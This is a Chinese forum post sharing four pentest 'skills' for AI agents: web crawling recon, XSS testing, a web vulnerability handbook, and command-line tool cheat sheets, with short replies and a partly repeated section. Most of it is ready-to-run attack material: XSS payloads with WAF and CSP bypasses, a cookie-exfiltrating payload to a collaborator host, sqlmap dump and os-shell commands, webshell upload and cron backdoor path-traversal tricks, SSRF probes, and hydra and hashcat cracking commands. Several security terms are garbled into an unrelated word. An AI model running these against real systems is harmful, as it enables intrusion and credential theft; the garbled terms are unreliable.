推荐几个AIforSecurity的Skills
- 内容介绍
- 文章标签
- 相关推荐
一、Web 爬虫与目标发现
# Web 爬虫与目标发现
在渗透测试的侦查阶段,Web 爬虫是发现攻击面的核心手段。
通过系统化的页面爬取和内容分析,提取 URL、参数、表单、API 端点等信息,
为后续的漏洞测试提供完整的目标列表。
---
## 1. 爬虫在渗透测试中的位置
```
侦查阶段
├── 被动侦查
│ ├── 子域名枚举
│ ├── DNS 记录收集
│ └── 搜索引擎 Dork
├── 主动侦查
│ ├── 端口扫描 ← 确定 Web 服务端口
│ ├── Web 爬虫 ← 发现页面和参数 (本技能)
│ ├── 目录扫描 ← 发现隐藏路径
│ └── 指纹识别 ← 确定技术栈
└── 产出: 攻击面地图
```
爬虫产出直接驱动后续测试:
- URL + 参数 → 注入测试(SQL/XSS/命令注入等)
- 表单 → CSRF 测试、文件上传测试
- API 端点 → 认证绕过、越权测试
- JavaScript 文件 → 敏感信息泄露、DOM XSS 分析
---
## 2. 爬取策略
### 2.1 广度优先 vs 深度优先
**广度优先(推荐用于初始侦查)**
- 先爬取所有顶层页面,再逐层深入
- 快速覆盖整个站点结构
- 适合发现不同功能模块
**深度优先(用于深入分析)**
- 沿一个路径深入到底,再回溯
- 适合发现深层嵌套的功能
- 可能长时间停留在某个功能模块
**推荐混合策略**
1. 第一轮:广度优先,depth=2-3,快速了解站点结构
2. 第二轮:对感兴趣的模块进行深度爬取
3. 第三轮:带认证状态的爬取(登录后)
### 2.2 爬取范围控制
**域名范围**
- 同域爬取:只爬取目标域名下的页面
- 子域爬取:包含目标域名的所有子域
- 注意排除第三方服务(CDN、统计、社交平台)
**路径范围**
- 避免爬取登出链接(`/logout`, `/signout`)
- 避免爬取删除操作(`/delete`, `/remove`)
- 排除静态资源目录(`/static/`, `/assets/`, `/images/`)
- 排除无限循环路径(日历、分页等)
**频率控制**
- 设置请求间隔,避免触发 WAF 或被封禁
- 建议初始间隔 100-500ms
- 对生产环境目标适当降低频率
### 2.3 认证处理
**未认证爬取**
- 首先进行未认证爬取,发现公开页面
- 记录登录表单位置和参数
**认证后爬取**
- 使用有效凭据登录后爬取
- 通过 Cookie 或 Token 维持会话
- 对比认证前后的页面差异,发现需要认证的功能
**多角色爬取**
- 使用不同权限的账户分别爬取
- 对比各角色可访问的页面
- 发现越权访问的候选测试点
---
## 3. 信息提取
### 3.1 URL 与参数提取
从爬取结果中提取:
- 完整的 URL 列表(去重后)
- 每个 URL 的查询参数名和示例值
- URL 路径中的动态段(如 `/user/123/profile` 中的 `123`)
- RESTful API 的资源路径模式
**参数分类**
| 参数类型 | 示例 | 测试重点 |
| ---------- | -------------------------------- | -------------------- |
| ID 类 | `id=123`, `uid=456` | IDOR、SQL 注入 |
| 搜索/过滤 | `q=keyword`, `filter=xxx` | SQL 注入、XSS |
| 文件路径 | `file=report.pdf`, `path=/data` | 路径穿越、文件包含 |
| URL/重定向 | `url=http://...`, `redirect=...` | SSRF、开放重定向 |
| 模版/渲染 | `template=xxx`, `view=xxx` | SSTI |
| 命令/操作 | `cmd=ping`, `action=export` | 命令注入 |
| 排序/列名 | `sort=name`, `order=desc` | SQL 注入(ORDER BY) |
### 3.2 表单发现
提取所有表单信息:
- 表单 `action` URL 和 `method`
- 所有 `input` 字段的 `name`、`type`、`value`
- 隐藏字段(可能包含 CSRF Token、内部参数)
- 文件上传字段(`type="file"`)
- `enctype` 属性(`multipart/form-data` 表示可上传文件)
**高价值表单**
- 登录表单 → 暴力娱乐、SQL 注入
- 注册表单 → SQL 注入、XSS(存储型)
- 搜索表单 → SQL 注入、XSS(反射型)
- 评论/反馈表单 → 存储型 XSS
- 文件上传表单 → 文件上传漏洞
- 密码修改表单 → CSRF
- 管理功能表单 → 越权、命令注入
### 3.3 API 端点发现
**从 HTML/JS 中提取**
- JavaScript 文件中的 API URL
- AJAX 请求的端点
- 前端路由配置
**常见 API 模式**
```
/api/v1/users
/api/v1/users/{id}
/api/v1/users/{id}/profile
/graphql
/graphql/playground
/.well-known/openapi.json
/swagger.json
/swagger-ui.html
/api-docs
```
**API 文档发现**
- Swagger/OpenAPI: `/swagger.json`, `/v2/api-docs`, `/openapi.yaml`
- GraphQL: `/graphql` (introspection query)
- WADL: `/application.wadl`
### 3.4 敏感信息发现
在爬取过程中关注:
- 注释中的敏感信息(`<!-- TODO: remove before production -->`)
- JavaScript 中硬编码的 API Key、Token
- 错误页面泄露的技术栈信息
- robots.txt 和 sitemap.xml 中的隐藏路径
- .env、.git、.svn 等配置文件暴露
- 备份文件(.bak, .old, .swp, ~)
---
## 4. JavaScript 分析
### 4.1 JS 文件收集
爬虫应收集所有引用的 JavaScript 文件:
- `<script src="...">` 引用的外部 JS
- 内联 `<script>` 块中的代码
- 动态加载的 JS(通过 XHR/Fetch)
### 4.2 JS 中的信息提取
从 JavaScript 文件中提取:
- API 端点 URL(`fetch('/api/...')`, `axios.get('/api/...')`)
- 路由定义(前端路由配置)
- 硬编码的凭据或密钥
- WebSocket 端点
- 第三方服务集成信息
**正则提取模式**
```
# API 端点
("|')(/api/[a-zA-Z0-9/_-]+)("|')
("|')(https?://[^"']+)("|')
# 密钥
(api[_-]?key|apikey|secret|token|password)\s*[:=]\s*["'][^"']+["']
# AWS Key
AKIA[0-9A-Z]{16}
```
### 4.3 JavaScript 渲染页面
对于 SPA (Single Page Application):
- 需要使用无头浏览器(Headless Browser)执行 JavaScript
- 等待异步加载完成后再提取 DOM
- 模拟用户交互(点击、滚动)触发动态内容加载
- 监听网络请求捕获 API 调用
---
## 5. 爬取结果分析
### 5.1 站点地图构建
将爬取结果组织为树形结构:
```
target.com
├── / (首页)
├── /login (登录)
├── /register (注册)
├── /user/
│ ├── /user/profile (个人资料)
│ └── /user/settings (设置)
├── /api/
│ ├── /api/v1/users
│ ├── /api/v1/posts
│ └── /api/v1/upload
├── /admin/ (管理后台)
│ ├── /admin/dashboard
│ └── /admin/users
└── /search (搜索)
```
### 5.2 攻击面评估
对每个发现的功能点评估潜在风险:
| 功能点 | 输入参数 | 潜在漏洞 | 测试优先级 |
| ------------------ | ----------- | -------------- | ---------- |
| /search?q= | q (搜索词) | SQL 注入, XSS | 高 |
| /api/v1/users/{id} | id (用户ID) | IDOR, SQL 注入 | 高 |
| /upload | file (文件) | 文件上传漏洞 | 高 |
| /user/profile | name, bio | 存储型 XSS | 中 |
| /admin/* | - | 未授权访问 | 高 |
### 5.3 与漏洞测试的衔接
爬取完成后,将结果按漏洞类型分组,传递给对应的测试技能:
1. **注入测试组**:所有带参数的 URL → sql-injection, command-injection, template-injection
2. **XSS 测试组**:所有参数在响应中有反射的 URL → xss-testing
3. **认证测试组**:登录/注册/密码功能 → 暴力娱乐、Session 测试
4. **越权测试组**:带 ID 参数的 API → IDOR 测试
5. **文件操作组**:上传/下载功能 → 文件上传、路径穿越
6. **SSRF 测试组**:接受 URL 参数的端点 → SSRF 测试
---
## 6. 目录扫描补充
爬虫可能遗漏的路径通过字典扫描补充:
### 6.1 常见敏感路径
```
/.git/config
/.svn/entries
/.env
/.env.production
/.env.local
/backup/
/backup.sql
/database.sql
/wp-config.php.bak
/config.yml
/config.json
/.htaccess
/server-status
/server-info
/phpinfo.php
/info.php
/test.php
/debug/
/console/
/actuator/
/actuator/env
/actuator/health
/metrics
/trace
/heapdump
```
### 6.2 管理后台路径
```
/admin/
/administrator/
/manage/
/management/
/backend/
/dashboard/
/portal/
/cp/
/controlpanel/
/webmaster/
```
---
## 7. 爬虫检查清单
- [ ] 未认证爬取完成
- [ ] 认证后爬取完成(如有凭据)
- [ ] URL 列表提取并去重
- [ ] 参数列表提取并分类
- [ ] 表单发现并记录
- [ ] API 端点发现并记录
- [ ] JavaScript 文件分析完成
- [ ] 敏感信息收集完成
- [ ] robots.txt / sitemap.xml 检查完成
- [ ] 目录扫描补充完成
- [ ] 站点地图构建完成
- [ ] 攻击面评估完成
- [ ] 测试目标分组完成,准备交接给漏洞测试
二、XSS 跨站娱乐测试技能
# XSS 跨站娱乐测试技能
系统化检测和验证 Web 应用中的跨站娱乐(XSS)漏洞。
通过分层 Payload 注入、上下文感知的编码变换和响应分析,
定位未经正确过滤/转义的用户输入输出点。
---
## 1. XSS 分类与识别
### 1.1 反射型 XSS (Reflected)
用户输入通过 HTTP 请求参数直接反射到响应页面中。
识别特征:
- URL 参数值出现在 HTML 响应体中
- 搜索框、错误消息、表单回填等场景
- 服务端未对输出进行 HTML 实体编码
测试入口:
- GET/POST 参数
- HTTP Header(Referer、User-Agent、X-Forwarded-For)
- URL 路径段(path segment)
- Fragment 不直接发送到服务端,但可能被 JavaScript 读取
### 1.2 存储型 XSS (Stored)
用户输入被持久化存储,在其他用户访问时触发。
高危存储点:
- 用户评论、留言板、论坛帖子
- 用户个人资料(昵称、签名、头像 URL)
- 文件名(上传文件后展示)
- 日志查看界面(管理后台展示用户输入)
- 邮件内容(Webmail 客户端)
### 1.3 DOM 型 XSS (DOM-based)
前端 JavaScript 直接使用不可信数据操作 DOM。
危险 Sink:
- `document.write()` / `document.writeln()`
- `element.innerHTML` / `element.outerHTML`
- `element.insertAdjacentHTML()`
- `eval()` / `setTimeout(string)` / `setInterval(string)`
- `new Function(string)`
- `location.href` / `location.assign()` / `location.replace()`
- `jQuery.html()` / `jQuery.append()` / `$()`
危险 Source:
- `location.hash` / `location.search` / `location.href`
- `document.referrer`
- `document.cookie`
- `window.name`
- `postMessage` 事件的 `event.data`
- Web Storage(localStorage / sessionStorage)
---
## 2. 测试方法论
### 2.1 第一阶段:输入点枚举
1. 爬取目标站点,收集所有表单、URL 参数、API 端点
2. 识别每个参数在响应中的反射位置
3. 记录反射上下文(HTML body、属性值、JavaScript、CSS、URL)
### 2.2 第二阶段:探测注入
使用无害探针确认反射行为:
```
canary_string_12345
<canary>
"canary"
'canary'
```
分析响应中探针的变化:
- 是否被原样返回
- 是否被 HTML 编码(`<` → `<`)
- 是否被删除或截断
- 是否被 URL 编码
- 上下文位置(标签内容、属性值、娱乐块)
### 2.3 第三阶段:上下文适配 Payload
根据探测结果选择对应的 Payload 策略(见第 3 节)。
### 2.4 第四阶段:绕过验证
针对发现的过滤规则,尝试绕过手段(见第 4 节)。
### 2.5 第五阶段:影响评估
成功触发后评估实际影响:
- 能否窃取 Cookie(HttpOnly 标志?)
- 能否发起跨站请求
- 能否读取页面内容(同源策略边界?)
- CSP 策略是否限制内联娱乐执行
---
## 3. 分层 Payload 集合
### 3.1 HTML 上下文(标签内容区)
当输入反射在 `<div>`, `<p>`, `<td>` 等标签的文本内容中:
```html
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">
```
### 3.2 HTML 属性上下文
当输入反射在 HTML 属性值中,如 `<input value="USER_INPUT">`:
```html
" onfocus=alert(1) autofocus="
" onmouseover=alert(1) "
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
" style="background:url(javascript:alert(1))
```
如果属性未加引号 `<input value=USER_INPUT>`:
```html
onfocus=alert(1) autofocus
onmouseover=alert(1)
```
### 3.3 JavaScript 上下文
当输入反射在 `<script>` 块内部,如 `var x = "USER_INPUT"`:
```javascript
";alert(1)//
';alert(1)//
\";alert(1)//
</script><script>alert(1)</script>
```
模板字面量上下文 `` var x = `USER_INPUT` ``:
```javascript
${alert(1)}
```
### 3.4 URL 上下文
当输入反射在 `href` 或 `src` 属性中,如 `<a href="USER_INPUT">`:
```
javascript:alert(1)
data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
```
### 3.5 CSS 上下文
当输入反射在 `<style>` 或 `style` 属性中:
```css
expression(alert(1))
url(javascript:alert(1))
</style><script>alert(1)</script>
```
---
## 4. WAF 绕过与编码策略
### 4.1 大小写混淆
```html
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x OnErRoR=alert(1)>
```
### 4.2 HTML 实体编码
```html
<img src=x onerror=alert(1)>
<a href="javascript:alert(1)">click</a>
<a href="javascript:alert(1)">click</a>
```
### 4.3 Unicode 编码
```javascript
\u0061\u006c\u0065\u0072\u0074(1)
```
### 4.4 标签变形
```html
<scr<script>ipt>alert(1)</scr</script>ipt>
<scr%00ipt>alert(1)</script>
<<script>script>alert(1)</script>
```
### 4.5 事件处理器替代
当 `onerror` 被过滤时,使用其他事件:
```html
<svg/onload=alert(1)>
<body/onhashchange=alert(1)>
<input/onfocus=alert(1) autofocus>
<details/open/ontoggle=alert(1)>
<marquee/onstart=alert(1)>
<video/src/onerror=alert(1)>
<isindex type=image src=x onerror=alert(1)>
```
### 4.6 括号替代
当 `()` 被过滤:
```html
<img src=x onerror=alert`1`>
<img src=x onerror=alert(1)>
<img src=x onerror="window['alert'](1)">
<svg onload="top[/al/.source+/ert/.source](1)">
```
### 4.7 空格替代
```html
<svg/onload=alert(1)>
<svg onload=alert(1)>
<svg%0aonload=alert(1)>
<svg%0donload=alert(1)>
<svg%09onload=alert(1)>
```
### 4.8 JavaScript 关键字绕过
当 `alert` 被过滤:
```javascript
confirm(1)
prompt(1)
window['al'+'ert'](1)
top[/al/.source+/ert/.source](1)
self['alert'](1)
[]['constructor']['constructor']('return alert(1)')()
```
---
## 5. CSP 绕过参考
### 5.1 常见 CSP 弱点
| CSP 配置 | 绕过方法 |
| ---------------------------- | -------------------------------------------------- |
| `script-src 'unsafe-inline'` | 直接内联娱乐 |
| `script-src 'unsafe-eval'` | `eval()`, `setTimeout(string)` |
| `script-src cdn.example.com` | 寻找 CDN 上的 JSONP 端点或 Angular 等库 |
| `script-src 'self'` | 寻找同源的文件上传或 JSONP 端点 |
| `script-src 'nonce-xxx'` | 如果 nonce 可预测或在注入点之后生成 |
| `script-src data:` | `<script src="data:text/javascript,alert(1)">` |
| 缺少 `base-uri` | `<base href="https://attacker.com/">` 劫持相对路径 |
| 缺少 `object-src` | `<object data="data:text/html,...">` |
### 5.2 CSP 绕过 Payload
```html
<script nonce="correct-nonce">alert(1)</script>
<script src="https://allowed-cdn.com/jsonp?callback=alert(1)//">
<base href="https://attacker.com/"><script src="/legit-path.js"></script>
<object data="data:text/html,<script>alert(1)</script>">
```
---
## 6. 测试检查清单
- [ ] 枚举所有用户输入反射点(URL 参数、表单字段、Header)
- [ ] 确认每个反射点的 HTML 上下文
- [ ] 测试基础 Payload(`<script>alert(1)</script>`)
- [ ] 测试上下文适配 Payload(属性逃逸、JS 逃逸等)
- [ ] 检查服务端过滤规则并尝试绕过
- [ ] 检查 CSP 策略及其可绕过性
- [ ] 检查 Cookie 的 HttpOnly 标志
- [ ] 评估存储型 XSS 的可能性
- [ ] 检查 DOM XSS(分析前端 JS 中的 source-sink 链)
- [ ] 记录所有发现,包含完整的重现步骤
三、Web 漏洞评估手册
## SQL 注入检测
### 检测流程
1. **识别输入点**:GET/POST 参数、Cookie、HTTP 头(X-Forwarded-For、Referer、User-Agent)
2. **基础探测**:
```
原始值: id=1
测试1: id=1' → 观察是否报错
测试2: id=1' AND '1'='1 → 观察是否正常
测试3: id=1' AND '1'='2 → 观察是否异常
测试4: id=1 AND 1=1 → 数字型测试
测试5: id=2-1 → 算术测试
```
3. **确认注入**:使用 time-based 做最终确认
```sql
id=1' AND SLEEP(5)-- - -- MySQL
id=1'; WAITFOR DELAY '0:0:5'-- - -- MSSQL
id=1' AND pg_sleep(5)-- - -- PostgreSQL
```
### 自动化检测
```bash
# sqlmap 基础检测
sqlmap -u "https://target.com/api?id=1" --batch --level=3 --risk=2
# 从 Burp 日志批量测试
sqlmap -l burp-log.txt --batch --level=3
# POST 参数
sqlmap -u "https://target.com/login" --data "user=admin&pass=test" --batch
# Cookie 注入
sqlmap -u "https://target.com/profile" --cookie "user_id=1" -p user_id --batch
# Header 注入
sqlmap -u "https://target.com/" --headers="X-Forwarded-For: 1*" --batch
```
### WAF 绕过策略
```bash
# sqlmap tamper 组合
sqlmap -u URL --tamper=space2comment,娱乐ween,randomcase --random-agent --delay=2
# 手动绕过
# 1. 内联注释: /*!50000SELECT*/ /*!50000UNION*/
# 2. 换行: %0aSELECT
# 3. HPP: ?id=1&id=' UNION SELECT 1--(参数污染)
# 4. 分块传输: Transfer-Encoding: chunked
```
---
## XSS 检测
### 检测流程
1. **找反射点**:输入唯一标记(如 `xss_test_12345`),搜索响应中是否出现
2. **确定上下文**:
- HTML 标签内容:`<div>REFLECTED</div>` → 尝试 `<script>alert(1)</script>`
- HTML 属性中:`<input value="REFLECTED">` → 尝试 `" onfocus=alert(1) autofocus "`
- JavaScript 中:`var x="REFLECTED"` → 尝试 `";alert(1)//`
- URL 中:`<a href="REFLECTED">` → 尝试 `javascript:alert(1)`
3. **绕过过滤**:根据被过滤的字符选择绕过方法
### 存储型 XSS 检测
```
# 在所有持久化输入点注入:
# 用户名、个人简介、评论、文件名、反馈表单
# Payload:
<img src=x onerror=fetch('https://COLLABORATOR/?c='+document.cookie)>
```
### CORS 配置检测
```bash
# 测试 Origin 反射
curl -sI -H "Origin: https://evil.com" https://target.com/api | grep -i "access-control"
# 测试 null origin
curl -sI -H "Origin: null" https://target.com/api | grep -i "access-control"
# 危险配置:
# Access-Control-Allow-Origin: * (如果带 credentials)
# Access-Control-Allow-Origin: [反射任意 Origin]
# Access-Control-Allow-Credentials: true
```
---
## SSRF 检测
### 检测方法
```bash
# 1. 直接回连检测
# 在参数中传入自己控制的服务器地址
url=http://YOUR_SERVER/ssrf-test
# 检查服务器是否收到请求
# 2. 带外检测(OOB)
url=http://BURP_COLLABORATOR/ssrf
# 3. 内网探测
url=http://127.0.0.1:PORT
url=http://169.254.169.254/ # 云元数据
# 4. 协议探测
url=file:///etc/passwd
url=dict://127.0.0.1:6379/info
url=gopher://127.0.0.1:6379/_INFO
```
### 常见触发点
```
# URL 参数
?url=&redirect=&callback=&next=&link=&src=&image=&file=
?proxy=&load=&target=&fetch=&page=&content=&feed=
# 文件导入功能
# PDF 生成(wkhtmltopdf、puppeteer)
# 图片处理(ImageMagick)
# Webhook URL
# 富文本编辑器(加载远程图片)
```
---
## 认证与授权测试
### 认证绕过
```
# 1. 默认凭证测试
admin:admin / admin:password / admin:123456 / root:root / test:test
# 2. 密码重置漏洞
# - Host 头注入:Host: evil.com(重置链接指向攻击者)
# - 可预测的重置 Token
# - 密码重置 Token 不过期
# 3. 多因素认证绕过
# - 直接访问认证后页面
# - 修改响应(将 "mfa_required" 改为 false)
# - 暴力娱乐 OTP
# 4. JWT 安全
# - alg: none 攻击
# - 算法混淆(RS256 → HS256)
# - 弱密钥爆破
# 详见 ctf-web/crypto-web.md#jwt-攻击
```
### 授权缺陷(IDOR / 越权)
```bash
# 水平越权:修改 ID 参数访问其他用户数据
GET /api/users/1001 → 200 OK(自己的数据)
GET /api/users/1002 → 200 OK(他人的数据 = IDOR)
# 垂直越权:低权限用户访问管理功能
# 以普通用户 Session 请求管理 API
curl -b "session=USER_SESSION" https://target.com/admin/users
# 参数篡改
POST /api/profile {"role": "admin"}
POST /api/order {"price": 0.01}
# HTTP 方法篡改
# 某些框架仅对 GET/POST 做权限检查
PUT /admin/config # 可能绕过
PATCH /admin/users/1
```
---
## 业务逻辑漏洞
```
# 竞争条件
# - 优惠券重复使用
# - 余额并发提取
# - 库存超卖
# 用并发请求测试:
for i in $(seq 1 20); do
curl -s -X POST https://target.com/api/redeem -d "coupon=GIFT100" -b "session=xxx" &
done
wait
# 整数溢出/下溢
# - 负数金额转账
# - 数量设为 -1
# 流程跳过
# - 跳过支付步骤直接确认订单
# - 跳过验证步骤直接修改密码
# 批量操作滥用
# - 用户枚举(注册/登录/重置不同提示)
# - 邮件轰炸(重复触发通知)
```
---
## 信息泄露检查
```bash
# 响应头信息泄露
curl -sI https://target.com | grep -iE "server|x-powered|x-aspnet|x-debug"
# 错误信息泄露
curl -s "https://target.com/api/undefined" | head -50
curl -s "https://target.com/api?id='" | head -50
# 调试接口
/debug /console /trace /phpinfo.php /_profiler
/actuator/env /actuator/heapdump /swagger-ui.html
# .env / 配置文件
/.env /config.php /wp-config.php /application.yml
/web.config /appsettings.json /.git/config
# 目录列表
# 检查目录是否开启索引
for dir in /uploads /backup /temp /logs /static; do
resp=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com$dir/")
echo "$dir: HTTP $resp"
done
# HTTP 安全头缺失
# X-Frame-Options / X-Content-Type-Options / Content-Security-Policy
# Strict-Transport-Security / X-XSS-Protection
```
---
## 文件上传检测
### 测试策略
```
1. 上传正常文件确认功能正常
2. 尝试上传 WebShell:
- 原始 .php/.jsp/.aspx 后缀
- 双后缀:shell.php.jpg
- 大小写:shell.pHp
- 空字节截断:shell.php%00.jpg (旧版本)
- 特殊后缀:.phtml .php3 .php5 .phar .shtml .jspx
- 竞争条件上传
3. 测试 MIME 类型绕过(修改 Content-Type)
4. 测试文件头绕过(GIF89a + webshell)
5. 上传 .htaccess / .user.ini 修改解析规则
6. 上传 SVG(可能触发 XSS/SSRF)
7. 上传 XML(可能触发 XXE)
```
### 路径穿越上传
```
filename="../../../etc/cron.d/backdoor"
filename="....//....//shell.php"
```
四、命令行 Web 测试工具
# 命令行 Web 测试工具
替代 Burp Suite 的命令行工具集,适合自动化和娱乐化测试。
## HTTP 请求工具
### curl
```bash
# GET 请求
curl -s https://target.com/api/users
# POST (form)
curl -s -X POST https://target.com/login -d "user=admin&pass=test"
# POST (JSON)
curl -s -X POST https://target.com/api -H "Content-Type: application/json" -d '{"key":"value"}'
# 带 Cookie
curl -s -b "session=abc123" https://target.com/admin
# 带自定义头
curl -s -H "Authorization: Bearer TOKEN" -H "X-Custom: value" https://target.com/api
# 查看响应头
curl -sI https://target.com
curl -sv https://target.com 2>&1 | grep -E "^[<>]"
# 跟随重定向
curl -sL https://target.com/redirect
# 忽略 SSL 证书
curl -sk https://self-signed.target.com
# 上传文件
curl -s -X POST https://target.com/upload -F "file=@shell.php"
# 代理
curl -s -x http://127.0.0.1:8080 https://target.com
```
### httpie
```bash
# GET
http https://target.com/api
# POST
http POST https://target.com/api key=value
# 带认证
http -a admin:password https://target.com/api
# 带 Header
http https://target.com/api "Authorization: Bearer TOKEN"
```
---
## Web 模糊测试
### ffuf
```bash
# 目录模糊
ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403
# 参数模糊
ffuf -u "https://target.com/api?FUZZ=test" -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc 200 -fs 0
# 子域名模糊
ffuf -u https://FUZZ.target.com -w subdomains.txt -mc 200
# vhost 模糊
ffuf -u https://target.com -H "Host: FUZZ.target.com" -w subdomains.txt -mc 200 -fs DEFAULT_SIZE
# POST 参数模糊
ffuf -u https://target.com/login -X POST -d "user=admin&pass=FUZZ" -w passwords.txt -mc 200 -fr "Invalid"
# 多字段模糊
ffuf -u https://target.com/login -X POST -d "user=USERFUZZ&pass=PASSFUZZ" -w users.txt:USERFUZZ -w passwords.txt:PASSFUZZ -mc 200
# 过滤选项
-mc 200,301 # 匹配状态码
-fc 404,403 # 排除状态码
-ms 1000 # 匹配响应大小
-fs 0 # 排除响应大小
-mr "Success" # 匹配正则
-fr "Error" # 排除正则
-fl 10 # 排除行数
# 输出
-o results.json -of json
```
### wfuzz
```bash
# 目录模糊
wfuzz -w /usr/share/wordlists/dirb/common.txt --hc 404 https://target.com/FUZZ
# 参数模糊
wfuzz -w params.txt --hc 404 "https://target.com/api?FUZZ=test"
# POST 模糊
wfuzz -w passwords.txt -d "user=admin&pass=FUZZ" --hc 403 https://target.com/login
# 多 payload
wfuzz -w users.txt -w passwords.txt -d "user=FUZZ&pass=FUZ2Z" https://target.com/login
# Cookie 模糊
wfuzz -w wordlist.txt -b "session=FUZZ" --hc 403 https://target.com/admin
```
---
## SQL 注入工具
### sqlmap
```bash
# 基础检测
sqlmap -u "https://target.com/api?id=1" --batch
# POST 请求
sqlmap -u "https://target.com/login" --data "user=admin&pass=test" --batch
# 指定注入点
sqlmap -u "https://target.com/api?id=1*&name=test" --batch # * 标记注入点
# 从 Burp 请求文件
sqlmap -r request.txt --batch
# 枚举数据库
sqlmap -u URL --dbs --batch
sqlmap -u URL -D database_name --tables --batch
sqlmap -u URL -D database_name -T table_name --columns --batch
sqlmap -u URL -D database_name -T table_name -C col1,col2 --dump --batch
# 获取 Shell
sqlmap -u URL --os-shell --batch
sqlmap -u URL --sql-shell --batch
# 绕过 WAF
sqlmap -u URL --tamper=space2comment,娱乐ween,randomcase --batch
sqlmap -u URL --random-agent --delay=1 --batch
# 常用 tamper 娱乐
# space2comment 空格转注释
# 娱乐ween 用 BETWEEN 替换 >
# randomcase 随机大小写
# charencode URL 编码
# equaltolike = 转 LIKE
# base64encode Base64 编码
# 指定技术
--technique=BEUSTQ # B布尔 E报错 U联合 S堆叠 T时间 Q内联
--level=5 # 测试级别 (1-5)
--risk=3 # 风险级别 (1-3)
```
---
## 流量拦截代理
### mitmproxy
```bash
# 启动代理
mitmproxy -p 8080
# 透明代理
mitmproxy --mode transparent
# 娱乐模式(自动化修改请求/响应)
mitmproxy -s script.py
# 仅记录
mitmdump -p 8080 -w traffic.flow
# 回放
mitmdump -r traffic.flow
# 过滤
mitmproxy -p 8080 --set view_filter="~d target.com"
```
mitmproxy 娱乐示例:
```python
from mitmproxy import http
def request(flow: http.HTTPFlow):
if "target.com" in flow.request.host:
flow.request.headers["X-Custom"] = "injected"
def response(flow: http.HTTPFlow):
if "admin" in flow.request.path:
print(f"[*] Admin access: {flow.request.url}")
print(f" Status: {flow.response.status_code}")
print(f" Body: {flow.response.text[:200]}")
```
---
## 漏洞扫描
### nuclei
```bash
# 全模板扫描
nuclei -u https://target.com
# 指定严重级别
nuclei -u https://target.com -severity critical,high
# 指定标签
nuclei -u https://target.com -tags cve,misconfig,exposure
# 批量目标
nuclei -l urls.txt -severity critical,high -o results.txt
# 指定模板
nuclei -u https://target.com -t cves/
nuclei -u https://target.com -t http/misconfiguration/
# 并发控制
nuclei -u https://target.com -c 50 -rl 150 # 50 并发,150 请求/秒
# 更新模板
nuclei -ut
```
---
## 密码娱乐
### hydra
```bash
# SSH
hydra -L users.txt -P passwords.txt ssh://TARGET -t 4
# FTP
hydra -L users.txt -P passwords.txt ftp://TARGET -t 10
# HTTP POST 表单
hydra -L users.txt -P passwords.txt TARGET http-post-form "/login:user=^USER^&pass=^PASS^:Invalid credentials" -t 10
# HTTP Basic Auth
hydra -L users.txt -P passwords.txt TARGET http-get /admin
# MySQL
hydra -L users.txt -P passwords.txt mysql://TARGET
# RDP
hydra -L users.txt -P passwords.txt rdp://TARGET -t 4
# SMB
hydra -L users.txt -P passwords.txt smb://TARGET
```
### hashcat
```bash
# 识别哈希类型
hashid 'HASH_VALUE'
hashcat --identify hash.txt
# 常见模式
hashcat -m 0 hash.txt wordlist.txt # MD5
hashcat -m 100 hash.txt wordlist.txt # SHA1
hashcat -m 1400 hash.txt wordlist.txt # SHA256
hashcat -m 1000 hash.txt wordlist.txt # NTLM
hashcat -m 3200 hash.txt wordlist.txt # bcrypt
hashcat -m 1800 hash.txt wordlist.txt # sha512crypt
hashcat -m 500 hash.txt wordlist.txt # md5crypt
hashcat -m 16500 hash.txt wordlist.txt # JWT
# 规则攻击
hashcat -m 0 hash.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule
# 掩码攻击
hashcat -m 0 hash.txt -a 3 ?a?a?a?a?a?a # 6 位全字符
hashcat -m 0 hash.txt -a 3 ?u?l?l?l?d?d?d?d # 如 Admin1234
# 字符集
# ?l 小写 / ?u 大写 / ?d 数字 / ?s 特殊 / ?a 全部
```
网友解答:
--【壹】--:
你说我用cc跑你这个skill去挖SRC,能回本吗
--【贰】--:
感谢大佬
--【叁】--:
感谢分享
--【肆】--:
最近在学习这方面的知识,感谢佬!
一、Web 爬虫与目标发现
# Web 爬虫与目标发现
在渗透测试的侦查阶段,Web 爬虫是发现攻击面的核心手段。
通过系统化的页面爬取和内容分析,提取 URL、参数、表单、API 端点等信息,
为后续的漏洞测试提供完整的目标列表。
---
## 1. 爬虫在渗透测试中的位置
```
侦查阶段
├── 被动侦查
│ ├── 子域名枚举
│ ├── DNS 记录收集
│ └── 搜索引擎 Dork
├── 主动侦查
│ ├── 端口扫描 ← 确定 Web 服务端口
│ ├── Web 爬虫 ← 发现页面和参数 (本技能)
│ ├── 目录扫描 ← 发现隐藏路径
│ └── 指纹识别 ← 确定技术栈
└── 产出: 攻击面地图
```
爬虫产出直接驱动后续测试:
- URL + 参数 → 注入测试(SQL/XSS/命令注入等)
- 表单 → CSRF 测试、文件上传测试
- API 端点 → 认证绕过、越权测试
- JavaScript 文件 → 敏感信息泄露、DOM XSS 分析
---
## 2. 爬取策略
### 2.1 广度优先 vs 深度优先
**广度优先(推荐用于初始侦查)**
- 先爬取所有顶层页面,再逐层深入
- 快速覆盖整个站点结构
- 适合发现不同功能模块
**深度优先(用于深入分析)**
- 沿一个路径深入到底,再回溯
- 适合发现深层嵌套的功能
- 可能长时间停留在某个功能模块
**推荐混合策略**
1. 第一轮:广度优先,depth=2-3,快速了解站点结构
2. 第二轮:对感兴趣的模块进行深度爬取
3. 第三轮:带认证状态的爬取(登录后)
### 2.2 爬取范围控制
**域名范围**
- 同域爬取:只爬取目标域名下的页面
- 子域爬取:包含目标域名的所有子域
- 注意排除第三方服务(CDN、统计、社交平台)
**路径范围**
- 避免爬取登出链接(`/logout`, `/signout`)
- 避免爬取删除操作(`/delete`, `/remove`)
- 排除静态资源目录(`/static/`, `/assets/`, `/images/`)
